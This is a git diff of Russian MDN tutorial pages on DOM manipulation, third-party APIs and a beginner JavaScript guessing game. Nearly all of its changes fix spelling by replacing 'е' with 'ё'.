ознакомиться с этой терминологией перед тем, как работать с DOM, поскольку некоторые термины кода, с которыми вы столкнётесь, используют их.. Возможно, вы уже сталкивались с ними, если вы изучали CSS (например, селектор потомков, дочерний селектор).</p> <h2 id="Активное_обучение_основы_управления_структурой_DOM">Активное обучение: основы управления структурой DOM</h2> -<p>Чтобы начать изучение по управлению структуры DOM, давайте начнем с практического примера.</p> +<p>Чтобы начать изучение по управлению структуры DOM, давайте начнём с практического примера.</p> <ol> <li>Возьмите локальную копию страницы <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html page</a> и изображение, которое вместе с ним.</li> @@ -97,7 +97,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <li>Чтобы управлять элементом внутри DOM, вам сначала нужно выбрать его и сохранить ссылку на него внутри переменной. Внутри вашего скриптового элемента добавьте следующую строку: <pre class="brush: js notranslate">var link = document.querySelector('a');</pre> </li> - <li>Теперь у нас есть ссылка на элемент, хранящаяся в переменной, мы можем начать ее манипулировать с использованием доступных ему свойств и методов (они определены на таких интерфейсах, как {{domxref("HTMLAnchorElement")}} в случае {{htmlelement ("a")}}, его более общий родительский интерфейс {{domxref ("HTMLElement")}} и {{domxref("Node")}} - который представляет все узлы в DOM). Прежде всего, давайте изменим текст внутри ссылки, обновив значение свойства {{domxref("Node.textContent")}}. Добавьте следующую строку ниже предыдущей: + <li>Теперь у нас есть ссылка на элемент, хранящаяся в переменной, мы можем начать её манипулировать с использованием доступных ему свойств и методов (они определены на таких интерфейсах, как {{domxref("HTMLAnchorElement")}} в случае {{htmlelement ("a")}}, его более общий родительский интерфейс {{domxref ("HTMLElement")}} и {{domxref("Node")}} - который представляет все узлы в DOM). Прежде всего, давайте изменим текст внутри ссылки, обновив значение свойства {{domxref("Node.textContent")}}. Добавьте следующую строку ниже предыдущей: <pre class="brush: js notranslate">link.textContent = 'Mozilla Developer Network';</pre> </li> <li>Мы также должны изменить URL-адрес, на который указывает ссылка, чтобы он не попадал в неправильное место при нажатии. Добавьте следующую строку, опять внизу: @@ -111,8 +111,8 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <p>Существуют более старые методы для захвата ссылок на элементы, например:</p> <ul> - <li>{{domxref("Document.getElementById()")}}, который выбирает элемент с заданным значением атрибута <code>id</code>, например <code><p id="myId">Мой абзац</p></code>. Идентификатор передается функции как параметр, т.е. <code>var elementRef = document.getElementById('myId')</code>.</li> - <li>{{domxref("Document.getElementsByTagName()")}}, который возвращает массив, содержащий все элементы на странице данного типа, например <code><p></code>, <code><a></code> и т.д. Тип элемента передается к функции в качестве параметра, то есть <code>var elementRefArray = document.getElementsByTagName('p')</code>.</li> + <li>{{domxref("Document.getElementById()")}}, который выбирает элемент с заданным значением атрибута <code>id</code>, например <code><p id="myId">Мой абзац</p></code>. Идентификатор передаётся функции как параметр, т.е. <code>var elementRef = document.getElementById('myId')</code>.</li> + <li>{{domxref("Document.getElementsByTagName()")}}, который возвращает массив, содержащий все элементы на странице данного типа, например <code><p></code>, <code><a></code> и т.д. Тип элемента передаётся к функции в качестве параметра, то есть <code>var elementRefArray = document.getElementsByTagName('p')</code>.</li> </ul> <p>Эти два работают в более старых браузерах, чем современные методы, такие как <code>querySelector()</code>, но не так удобны. Осмотритесь и вы увидите, что ещё можно найти!</p> @@ -123,7 +123,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <p>Вышесказанное дало вам немного вкуса от того, что вы можете сделать, но давайте продолжим и посмотрим, как мы можем создавать новые элементы.</p> <ol> - <li>Возвращаясь к текущему примеру, давайте начнем с захвата ссылки на наш элемент {{htmlelement("section")}} - добавьте следующий код внизу существующего скрипта (сделайте то же самое с другими строками): + <li>Возвращаясь к текущему примеру, давайте начнём с захвата ссылки на наш элемент {{htmlelement("section")}} - добавьте следующий код внизу существующего скрипта (сделайте то же самое с другими строками): <pre class="brush: js notranslate">var sect = document.querySelector('section');</pre> </li> <li>Теперь давайте создадим новый абзац, используя {{domxref("Document.createElement()")}} и передадим ему текстовое содержимое так же, как и раньше: @@ -136,7 +136,7 @@ para.textContent = 'We hope you enjoyed the ride.';</pre> <li>Наконец, для этой части, давайте добавим текстовый узел в абзац, где находится ссылка, чтобы оформить предложение красиво. Сначала мы создадим текстовый узел, используя {{domxref("Document.createTextNode()")}}: <pre class="brush: js notranslate">var text = document.createTextNode(' — the premier source for web development knowledge.');</pre> </li> - <li>Теперь мы возьмем ссылку на абзац, в котором находится ссылка, и добавим к нему текстовый узел: + <li>Теперь мы возьмём ссылку на абзац, в котором находится ссылка, и добавим к нему текстовый узел: <pre class="brush: js notranslate">var linkPara = document.querySelector('p'); linkPara.appendChild(text);</pre> </li> @@ -152,7 +152,7 @@ linkPara.appendChild(text);</pre> <pre class="brush: js notranslate">sect.appendChild(linkPara);</pre> -<p>Это переводит абзац вниз в нижнюю часть раздела. Вы могли подумать, что это сделает вторую копию, но это не так - <code>linkPara</code> - ссылка на единственную копию этого абзаца. Если вы хотите сделать копию и добавить ее также, вам нужно будет использовать {{domxref("Node.cloneNode()")}}.</p> +<p>Это переводит абзац вниз в нижнюю часть раздела. Вы могли подумать, что это сделает вторую копию, но это не так - <code>linkPara</code> - ссылка на единственную копию этого абзаца. Если вы хотите сделать копию и добавить её также, вам нужно будет использовать {{domxref("Node.cloneNode()")}}.</p> <p>Удаление узла довольно просто, по крайней мере, когда у вас есть ссылка на удаляемый узел и его родительский элемент. В нашем случае мы просто используем {{domxref("Node.removeChild()")}}, например:</p> @@ -168,7 +168,7 @@ linkPara.appendChild(text);</pre> <p>Можно управлять стилями CSS с помощью JavaScript различными способами.</p> -<p>Для начала вы можете получить список всех таблиц стилей, прикрепленных к документу, с помощью {{domxref("Document.stylesheets")}}, который возвращает массив объектов {{domxref("CSSStyleSheet")}}. Затем вы можете добавлять / удалять стили по желанию. Однако мы не будем расширять эти функции, потому что они являются несколько архаичным и трудным способом манипулирования стилем. Есть гораздо более простые способы.</p> +<p>Для начала вы можете получить список всех таблиц стилей, прикреплённых к документу, с помощью {{domxref("Document.stylesheets")}}, который возвращает массив объектов {{domxref("CSSStyleSheet")}}. Затем вы можете добавлять / удалять стили по желанию. Однако мы не будем расширять эти функции, потому что они являются несколько архаичным и трудным способом манипулирования стилем. Есть гораздо более простые способы.</p> <p>Первый способ - добавить встроенные стили непосредственно на элементы, которые вы хотите динамически стилизовать. Это делается с помощью свойства {{domxref("HTMLElement.style")}}, которое содержит встроенную информацию о стиле для каждого элемента документа. Вы можете установить свойства этого объекта для непосредственного обновления стилей элементов.</p> @@ -189,7 +189,7 @@ para.style.textAlign = 'center';</pre> <p>Примечание: Обратите внимание на то, как версии свойств JavaScript стилей CSS пишутся в нижнем регистре верблюжьего стиля (lower camel case), в то время как версии свойств стилей CSS используют дефисы (например, <code>backgroundColor</code> и <code>background-color</code>). Убедитесь, что вы не перепутали их, иначе это не сработает.</p> </div> -<p>Существует еще один распространенный способ динамического управления стилями вашего документа, который мы рассмотрим сейчас.</p> +<p>Существует ещё один распространённый способ динамического управления стилями вашего документа, который мы рассмотрим сейчас.</p> <ol> <li>Удалите предыдущие пять строк, добавленных в JavaScript.</li> @@ -204,17 +204,17 @@ para.style.textAlign = 'center';</pre> } </style></pre> </li> - <li>Теперь мы перейдем к очень полезному методу для общего манипулирования HTML - {{domxref("Element.setAttribute()")}} - это принимает два аргумента, атрибут, который вы хотите установить для элемента, и значение, которое вы хотите для его установки. В этом случае мы укажем имя класса выделения в нашем абзаце: + <li>Теперь мы перейдём к очень полезному методу для общего манипулирования HTML - {{domxref("Element.setAttribute()")}} - это принимает два аргумента, атрибут, который вы хотите установить для элемента, и значение, которое вы хотите для его установки. В этом случае мы укажем имя класса выделения в нашем абзаце: <pre class="brush: js notranslate">para.setAttribute('class', 'highlight');</pre> </li> <li>Обновите свою страницу, и вы не увидите изменений - CSS по-прежнему применяется к абзацу, но на этот раз, предоставив ему класс, который выбран нашим правилом CSS, а не как встроенные стили CSS.</li> </ol> -<p>Какой метод вы выбираете, зависит от вас; оба имеют свои преимущества и недостатки. Первый метод принимает меньше настроек и хорош для простого использования, тогда как второй метод более пурист (без смешивания CSS и JavaScript, без встроенных стилей, которые рассматриваются как плохая практика). Когда вы начнете создавать более крупные приложения, вы, вероятно, начнете использовать второй метод больше, но это действительно зависит от вас.</p> +<p>Какой метод вы выбираете, зависит от вас; оба имеют свои преимущества и недостатки. Первый метод принимает меньше настроек и хорош для простого использования, тогда как второй метод более пурист (без смешивания CSS и JavaScript, без встроенных стилей, которые рассматриваются как плохая практика). Когда вы начнёте создавать более крупные приложения, вы, вероятно, начнёте использовать второй метод больше, но это действительно зависит от вас.</p> <p>На данный момент мы не сделали ничего полезного! Нет смысла использовать JavaScript для создания статического контента - вы можете просто записать его в свой HTML и не использовать JavaScript. Это сложнее, чем HTML, и для создания вашего контента с помощью JavaScript также есть другие связанные с ним проблемы (например, не читаемые поисковыми системами).</p> -<p>В следующих параграфах мы рассмотрим еще несколько практических применений DOM API.</p> +<p>В следующих параграфах мы рассмотрим ещё несколько практических применений DOM API.</p> <div class="note"> <p>Примечание. Вы можете найти наш пример <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html">finished version of the dom-example.html</a> на GitHub (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html">см. также live</a>).</p> @@ -222,14 +222,14 @@ para.style.textAlign = 'center';</pre> <h2 id="Активное_обучение_динамический_список_покупок">Активное обучение: динамический список покупок</h2> -<p>До сих пор мы действительно смотрели на использование функций {{domxref("Node")}} и {{domxref("Document")}} для управления документами, но нет причин, по которым вы не можете получить данные из других источников и использовать его в пользовательском интерфейсе. Вспомните нашу простую демонстрацию <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">maps-example.html</a> из последней статьи - там мы извлекли некоторые данные о местоположении и использовали ее для отображения карты вашей области. Вам просто нужно убедиться, что ваши данные в правильном формате; JavaScript упрощает работу, чем многие другие языки, будучи слабо типизированным - например, числа автоматически преобразуются в строки, когда вы хотите распечатать их на экране.</p> +<p>До сих пор мы действительно смотрели на использование функций {{domxref("Node")}} и {{domxref("Document")}} для управления документами, но нет причин, по которым вы не можете получить данные из других источников и использовать его в пользовательском интерфейсе. Вспомните нашу простую демонстрацию <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">maps-example.html</a> из последней статьи - там мы извлекли некоторые данные о местоположении и использовали её для отображения карты вашей области. Вам просто нужно убедиться, что ваши данные в правильном формате; JavaScript упрощает работу, чем многие другие языки, будучи слабо типизированным - например, числа автоматически преобразуются в строки, когда вы хотите распечатать их на экране.</p> <p>В этом примере мы решим общую проблему: убедитесь, что ваше приложение имеет размер как окно, в котором он просматривается, независимо от его размера. Это часто полезно в таких ситуациях, как игры, где вы хотите использовать как можно большую площадь экрана, чтобы играть в игру.</p> <p>Для начала создайте локальную копию наших демо-файлов <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html">window-resize-example.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png">bgtile.png</a>. Откройте его и посмотрите - вы увидите, что у нас есть элемент {{htmlelement("div")}}, который покрывает небольшую часть экрана, на который нанесена фоновая плитка. Мы будем использовать это, чтобы представить нашу область пользовательского интерфейса приложения.</p> <ol> - <li>Прежде всего, давайте возьмем ссылку на div, а затем возьмем ширину и высоту окна просмотра (внутреннее окно, где отображается ваш документ) и сохраните их в переменных - эти два значения удобно содержатся в {{domxref("Window.innerWidth")}} и {{domxref("Window.innerHeight")}}. Добавьте следующие строки внутри существующего элемента {{htmlelement("script")}}: + <li>Прежде всего, давайте возьмём ссылку на div, а затем возьмём ширину и высоту окна просмотра (внутреннее окно, где отображается ваш документ) и сохраните их в переменных - эти два значения удобно содержатся в {{domxref("Window.innerWidth")}} и {{domxref("Window.innerHeight")}}. Добавьте следующие строки внутри существующего элемента {{htmlelement("script")}}: <pre class="brush: js notranslate">var div = document.querySelector('div'); var WIDTH = window.innerWidth; var HEIGHT = window.innerHeight;</pre> @@ -238,8 +238,8 @@ var HEIGHT = window.innerHeight;</pre> <pre class="brush: js notranslate">div.style.width = WIDTH + 'px'; div.style.height = HEIGHT + 'px';</pre> </li> - <li>Сохраните и попробуйте обновить браузер - теперь вы должны увидеть, что div становится таким же большим, как ваш видовой экран, независимо от того, какой размер экрана вы используете. Если теперь вы попытаетесь изменить размер окна, чтобы увеличить его, вы увидите, что div остается одного размера - мы устанавливаем его только один раз.</li> - <li>Как насчет того, чтобы мы использовали событие, чтобы размер div изменялся при изменении размера окна? Объект {{domxref("Window")}} имеет событие, имеющееся на нем с именем resize, которое запускается каждый раз при изменении размера окна - давайте обратимся к нему через обработчик событий {{domxref("Window.onresize")}} и повторяйте наш размерный код каждый раз, когда он изменяется. Добавьте нижеследующую часть кода: + <li>Сохраните и попробуйте обновить браузер - теперь вы должны увидеть, что div становится таким же большим, как ваш видовой экран, независимо от того, какой размер экрана вы используете. Если теперь вы попытаетесь изменить размер окна, чтобы увеличить его, вы увидите, что div остаётся одного размера - мы устанавливаем его только один раз.</li> + <li>Как насчёт того, чтобы мы использовали событие, чтобы размер div изменялся при изменении размера окна? Объект {{domxref("Window")}} имеет событие, имеющееся на нем с именем resize, которое запускается каждый раз при изменении размера окна - давайте обратимся к нему через обработчик событий {{domxref("Window.onresize")}} и повторяйте наш размерный код каждый раз, когда он изменяется. Добавьте нижеследующую часть кода: <pre class="brush: js notranslate">window.onresize = function() { WIDTH = window.innerWidth; HEIGHT = window.innerHeight; @@ -260,14 +260,14 @@ div.style.height = HEIGHT + 'px';</pre> <ul> <li>Элемент должен появиться в списке.</li> <li>Каждому элементу должна быть предоставлена кнопка, которую можно нажать, чтобы удалить этот элемент из списка.</li> - <li>Вход должен быть опустошен и сфокусирован, чтобы вы могли ввести другой элемент.</li> + <li>Вход должен быть опустошён и сфокусирован, чтобы вы могли ввести другой элемент.</li> </ul> <p>Готовое демо будет выглядеть примерно так:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14563/shopping-list.png" style="border-style: solid; border-width: 1px; display: block; height: 225px; margin: 0px auto; width: 369px;"></p> -<p>Чтобы завершить упражнение, выполните следующие действия и убедитесь, что список ведет себя так, как описано выше.</p> +<p>Чтобы завершить упражнение, выполните следующие действия и убедитесь, что список ведёт себя так, как описано выше.</p> <ol> <li>Для начала загрузите копию нашего начального файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html">shopping-list.html</a> и скопируйте его где-нибудь. Вы увидите, что у него есть минимальный CSS, список с меткой, ввод и кнопка, пустой список и элемент {{htmlelement("script")}}. Вы будете делать все свои дополнения внутри скрипта.</li> diff --git a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html index 4977fe99c7..69af264c07 100644 --- a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html @@ -27,7 +27,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs <h2 id="Что_такое_сторонние_API">Что такое сторонние API?</h2> -<p>Сторонние API - это API, предоставляемые третьими лицами — как правило, такими компаниями, как Facebook, Twitter, or Google — чтобы вы могли получить доступ к их функциям с помощью JavaScript и использовать его на своем собственном сайте. Как мы показали в нашей <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">вводной статье об API</a>, одним из наиболее очевидных примеров является использование <a href="https://developers.google.com/maps/">Google Maps APIs</a> для отображения пользовательских карт на ваших страницах.</p> +<p>Сторонние API - это API, предоставляемые третьими лицами — как правило, такими компаниями, как Facebook, Twitter, or Google — чтобы вы могли получить доступ к их функциям с помощью JavaScript и использовать его на своём собственном сайте. Как мы показали в нашей <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">вводной статье об API</a>, одним из наиболее очевидных примеров является использование <a href="https://developers.google.com/maps/">Google Maps APIs</a> для отображения пользовательских карт на ваших страницах.</p> <p>Давайте снова посмотрим на наш пример карты (см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">исходный код на GitHub</a>; <a href="https://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">см. это в действии</a>), и используем его для иллюстрации того, как сторонние API отличаются от API-интерфейсов браузера.</p> @@ -61,12 +61,12 @@ var myOptions = { var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);</pre> -<p>Здесь мы создаем новый объект <code>LatLng</code>, используя конструктор <code>google.maps.LatLng()</code>, который содержит широту и долготу местоположения, которое мы хотим показать, полученные из API геолокации. Затем мы создаем объект опций (<code>myOptions</code>), содержащий эту и другую информацию, связанную с отображением карты. Наконец, мы фактически создаем карту, используя конструктор <code>google.maps.Map()</code>, который принимает в качестве параметров элемент, на котором мы хотим нарисовать карту, и объект опций.</p> +<p>Здесь мы создаём новый объект <code>LatLng</code>, используя конструктор <code>google.maps.LatLng()</code>, который содержит широту и долготу местоположения, которое мы хотим показать, полученные из API геолокации. Затем мы создаём объект опций (<code>myOptions</code>), содержащий эту и другую информацию, связанную с отображением карты. Наконец, мы фактически создаём карту, используя конструктор <code>google.maps.Map()</code>, который принимает в качестве параметров элемент, на котором мы хотим нарисовать карту, и объект опций.</p> <p>Это вся информация, которую API Карт Google требует для построения простой карты. Сервер, к которому вы подключаетесь, обрабатывает все сложные вещи, такие как отображение правильных фрагментов карты для отображаемой области и т. д.</p> <div class="note"> -<p><strong>Примечание</strong>: Некоторые API обрабатывают доступ к их функциям несколько иначе, требуя от разработчика сделать HTTP-запрос (см. <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Получение данных с сервера</a>) на определенный шаблон URL для получения определенных данных. Они называются RESTful API, и мы покажем пример этого позже в статье.</p> +<p><strong>Примечание</strong>: Некоторые API обрабатывают доступ к их функциям несколько иначе, требуя от разработчика сделать HTTP-запрос (см. <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Получение данных с сервера</a>) на определённый шаблон URL для получения определённых данных. Они называются RESTful API, и мы покажем пример этого позже в статье.</p> </div> <h3 id="Разрешения_обрабатываются_по-разному">Разрешения обрабатываются по-разному</h3> @@ -77,15 +77,15 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); <pre>https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA</pre> -<p>Параметр URL, указанный в конце URL-адреса, является ключом разработчика - разработчик приложения должен применять его для получения ключа, а затем включать его в свой код определенным образом, чтобы иметь доступ к функциям API. В случае с Картами Google (и другими API Google) вы подаете заявку на получение ключа на <a href="https://console.cloud.google.com/">Google Cloud Platform</a>.</p> +<p>Параметр URL, указанный в конце URL-адреса, является ключом разработчика - разработчик приложения должен применять его для получения ключа, а затем включать его в свой код определённым образом, чтобы иметь доступ к функциям API. В случае с Картами Google (и другими API Google) вы подаёте заявку на получение ключа на <a href="https://console.cloud.google.com/">Google Cloud Platform</a>.</p> <p>Другие API могут потребовать, чтобы вы включили ключ немного по-другому, но шаблон для большинства из них довольно схож. <br> <br> - Требование к ключу заключается в том, что не каждый может использовать функциональность API без какой-либо подотчетности. Когда разработчик зарегистрировался для ключа, они затем известны поставщику API, и действие может быть предпринято, если они начинают делать что-то вредоносное с помощью API (например, отслеживать местоположение пользователей или пытаться спамить API с множеством запросов для остановки его работы, например). Самое простое действие - просто отменить их привилегии API.</p> + Требование к ключу заключается в том, что не каждый может использовать функциональность API без какой-либо подотчётности. Когда разработчик зарегистрировался для ключа, они затем известны поставщику API, и действие может быть предпринято, если они начинают делать что-то вредоносное с помощью API (например, отслеживать местоположение пользователей или пытаться спамить API с множеством запросов для остановки его работы, например). Самое простое действие - просто отменить их привилегии API.</p> <h2 id="Расширенный_пример_Карт_Google">Расширенный пример Карт Google</h2> -<p>Теперь когда мы рассмотрели пример API Карт Google и посмотрели, как он работает, добавим еще несколько функций, чтобы показать, как использовать некоторые другие функции API.</p> +<p>Теперь когда мы рассмотрели пример API Карт Google и посмотрели, как он работает, добавим ещё несколько функций, чтобы показать, как использовать некоторые другие функции API.</p> <ol> <li> @@ -96,7 +96,7 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); <ol> <li>Перейдите в <a href="https://console.cloud.google.com/apis/dashboard">панель управления API-интерфейсом Google Cloud Platform</a>.</li> - <li>Создайте новый проект, если у вас его еще нет.</li> + <li>Создайте новый проект, если у вас его ещё нет.</li> <li>Нажмите кнопку <em>Enable API</em>.</li> <li>Выберите <em>Google Maps JavaScript API</em>.</li> <li>Нажмите кнопку <em>Enable</em>.</li> @@ -105,10 +105,10 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); </ol> <div class="note"> - <p><strong>Примечание</strong>: Получение ключей API, связанных с Google, может быть немного затруднительным: в Менеджере API Google Cloud Platform много разных экранов, и рабочий процесс может немного отличаться в зависимости от того, как у вас уже установлена учетная запись. Если у вас возникнут проблемы с этим шагом, мы будем рады помочь — <a href="/en-US/docs/Learn#Contact_us">Свяжитесь с нами</a>.</p> + <p><strong>Примечание</strong>: Получение ключей API, связанных с Google, может быть немного затруднительным: в Менеджере API Google Cloud Platform много разных экранов, и рабочий процесс может немного отличаться в зависимости от того, как у вас уже установлена учётная запись. Если у вас возникнут проблемы с этим шагом, мы будем рады помочь — <a href="/en-US/docs/Learn#Contact_us">Свяжитесь с нами</a>.</p> </div> </li> - <li>Откройте исходный файл Карт Google, найдите строку <code>INSERT-YOUR-API-KEY-HERE</code>, и замените ее фактическим ключом API, который вы получили из панели управления Google Cloud Platform API Manager.</li> + <li>Откройте исходный файл Карт Google, найдите строку <code>INSERT-YOUR-API-KEY-HERE</code>, и замените её фактическим ключом API, который вы получили из панели управления Google Cloud Platform API Manager.</li> </ol> <h3 id="Adding_a_custom_marker">Adding a custom marker</h3> diff --git a/files/ru/learn/javascript/first_steps/a_first_splash/index.html b/files/ru/learn/javascript/first_steps/a_first_splash/index.html index 9b719c4029..8ea9bbc299 100644 --- a/files/ru/learn/javascript/first_steps/a_first_splash/index.html +++ b/files/ru/learn/javascript/first_steps/a_first_splash/index.html @@ -23,7 +23,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash </tbody> </table> -<p>Вам не придется сразу понимать весь код — мы только хотим познакомить вас с базовыми концепциями языка и дать представление о том, как работает JavaScript (и другие языки программирования). В дальнейших статьях вы изучите эти концепции более подробно!</p> +<p>Вам не придётся сразу понимать весь код — мы только хотим познакомить вас с базовыми концепциями языка и дать представление о том, как работает JavaScript (и другие языки программирования). В дальнейших статьях вы изучите эти концепции более подробно!</p> <div class="note"> <p>Большинство языковых конструкций JavaScript, с которыми вы познакомитесь (функции, циклы и т.д.), имеют аналоги в других языках программирования — т.е. языки имеют разный синтаксис, но концепции в большинстве случаев те же самые.</p> @@ -34,13 +34,13 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <p>Одним из самых трудных и значимых моментов в обучении программированию является не изучение непосредственно синтаксиса языка, а понимание того как применять его для решения реальных задач. Вам нужно начать думать как программист, обычно это означает следующее:</p> <ul> - <li>Сначала вы разрабатываете логику (структуру, алгоритм выполнения) программы — общие задачи, что и в каких случаях она должна делать, как должна завершиться и т.д., т.е. создаете описание полного цикла её работы.</li> + <li>Сначала вы разрабатываете логику (структуру, алгоритм выполнения) программы — общие задачи, что и в каких случаях она должна делать, как должна завершиться и т.д., т.е. создаёте описание полного цикла её работы.</li> <li>Затем определяете какие конструкции (возможности) языка вам понадобятся и как заставить их работать вместе — для последовательного выполнения всех этапов разработанной логики.</li> </ul> -<p>Всё вместе это потребует тяжелой работы, знания языка, практики в написании кода - и немного творчества. Чем больше вы будете заняты решением практических задач, тем быстрее будете расти в программировании. Мы не обещаем, что вы сразу начнете "думать как программист", но предоставим для этого достаточно возможностей в этой статье.</p> +<p>Всё вместе это потребует тяжёлой работы, знания языка, практики в написании кода - и немного творчества. Чем больше вы будете заняты решением практических задач, тем быстрее будете расти в программировании. Мы не обещаем, что вы сразу начнёте "думать как программист", но предоставим для этого достаточно возможностей в этой статье.</p> -<p>Учитывая вышесказанное, на примере простой игры, давайте детально разберем каждый этап создания программы и познакомимся с некоторыми конструкциями языка.</p> +<p>Учитывая вышесказанное, на примере простой игры, давайте детально разберём каждый этап создания программы и познакомимся с некоторыми конструкциями языка.</p> <h2 id="Игра_«Угадай_число»">Игра «Угадай число»</h2> @@ -159,12 +159,12 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320) }}</p> -<p>Поиграйте в нее - познакомьтесь с игрой, прежде чем двигаться дальше.</p> +<p>Поиграйте в неё - познакомьтесь с игрой, прежде чем двигаться дальше.</p> <p>Давайте представим, что ваш босс дал вам следующую информацию для создания этой игры:</p> <blockquote> -<p>Я хочу чтобы ты создал простую игру по принципу "Угадай число". Игра должна случайным образом генерировать число от 0 до 100, затем игрок должен отгадать это число за 10 попыток. После каждой попытки игроку сообщают угадал он число или не угадал и если он ошибся, то ему сообщается, что загаданное число больше или меньше того, которое он ввел. Так же необходимо показывать игроку числа из его предыдущих попыток. Игра будет окончена, если игрок угадал число верно или если у него кончатся все попытки. После окончания игры игроку будет дана возможность сыграть в игру еще раз.</p> +<p>Я хочу чтобы ты создал простую игру по принципу "Угадай число". Игра должна случайным образом генерировать число от 0 до 100, затем игрок должен отгадать это число за 10 попыток. После каждой попытки игроку сообщают угадал он число или не угадал и если он ошибся, то ему сообщается, что загаданное число больше или меньше того, которое он ввёл. Так же необходимо показывать игроку числа из его предыдущих попыток. Игра будет окончена, если игрок угадал число верно или если у него кончатся все попытки. После окончания игры игроку будет дана возможность сыграть в игру ещё раз.</p> </blockquote> <p>Поглядев на это краткое изложение, первое, что мы можем сделать - это начать разбивать его на простые действия, максимально думая как программист:</p> @@ -173,7 +173,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <li>Сгенерировать случайное число между 1 и 100.</li> <li>Начать запись количества попыток игрока угадать число. Начать с 1.</li> <li>Предоставить попытку угадать игроку загаданное число.</li> - <li>Как только попытка угадать была отправлена, сначала записать ее где-нибудь, чтобы пользователь мог увидеть свои предыдущие попытки</li> + <li>Как только попытка угадать была отправлена, сначала записать её где-нибудь, чтобы пользователь мог увидеть свои предыдущие попытки</li> <li>Далее, проверить было ли это число верным.</li> <li>Если число верное: <ol> @@ -185,7 +185,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <li>Если число не верное и есть попытки: <ol> <li>Сказать игроку, что он не угадал.</li> - <li>Разрешить ему использовать еще попытку.</li> + <li>Разрешить ему использовать ещё попытку.</li> <li>Повысить число попыток на 1.</li> </ol> </li> @@ -199,7 +199,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <li>Во время перезапуска игры убедиться, что игровая логика и пользовательский интерфейс полностью сбросились на начальные значения и далее перейти обратно к пункту 1.</li> </ol> -<p>Давайте теперь перейдем к рассмотрению того, как мы можем превратить эти шаги в код, создавая примеры и исследуя возможности JavaScript по ходу.</p> +<p>Давайте теперь перейдём к рассмотрению того, как мы можем превратить эти шаги в код, создавая примеры и исследуя возможности JavaScript по ходу.</p> <h3 id="Подготовка">Подготовка</h3> @@ -216,7 +216,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash <h3 id="Добавление_переменных_для_хранения_данных">Добавление переменных для хранения данных</h3> -<p>Давайте начнем. Прежде всего добавьте следующие строки внутри элемента {{htmlelement("script")}} :</p> +<p>Давайте начнём. Прежде всего добавьте следующие строки внутри элемента {{htmlelement("script")}} :</p> <pre class="notranslate"><code>var randomNumber = Math.floor(Math.random() * 100) + 1; @@ -230,13 +230,13 @@ var guessField = document.querySelector('.guessField'); var guessCount = 1; var resetButton;</code></pre> -<p>В этом разделе кода устанавливаются переменные, необходимые для хранения данных, которые будет использоваться нашей программой. Переменные - это в основном контейнеры для значений (например, числа или строки текста). Вы создаете переменную с ключевым словом var, за которой следует имя для вашей переменной. Затем вы можете присвоить значение своей переменной знак равенства (=), за которым следует значение, которое вы хотите дать.</p> +<p>В этом разделе кода устанавливаются переменные, необходимые для хранения данных, которые будет использоваться нашей программой. Переменные - это в основном контейнеры для значений (например, числа или строки текста). Вы создаёте переменную с ключевым словом var, за которой следует имя для вашей переменной. Затем вы можете присвоить значение своей переменной знак равенства (=), за которым следует значение, которое вы хотите дать.</p> <p>В нашем примере:</p> <ul> <li>Первой переменной - randomNumber - присваивается случайное число от 1 до 100, вычисленное с использованием математического алгоритма.</li> - <li>Следующие три переменные сделаны для хранения ссылок на абзацы результатов в нашем HTML и используются для вставки значений в абзацы, приведенные далее в коде: + <li>Следующие три переменные сделаны для хранения ссылок на абзацы результатов в нашем HTML и используются для вставки значений в абзацы, приведённые далее в коде: <pre class="brush: html notranslate"><p class="guesses"></p> <p class="lastResult"></p> <p class="lowOrHi"></p></pre> @@ -245,7 +245,7 @@ var resetButton;</code></pre> <pre class="brush: html notranslate"><label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="Submit guess" class="guessSubmit"></pre> </li> - <li>Наши последние две переменные сохраняют количество догадок 1 (используется для отслеживания того, сколько догадок у игрока было), и ссылку на кнопку сброса, которая еще не существует (но позже).</li> + <li>Наши последние две переменные сохраняют количество догадок 1 (используется для отслеживания того, сколько догадок у игрока было), и ссылку на кнопку сброса, которая ещё не существует (но позже).</li> 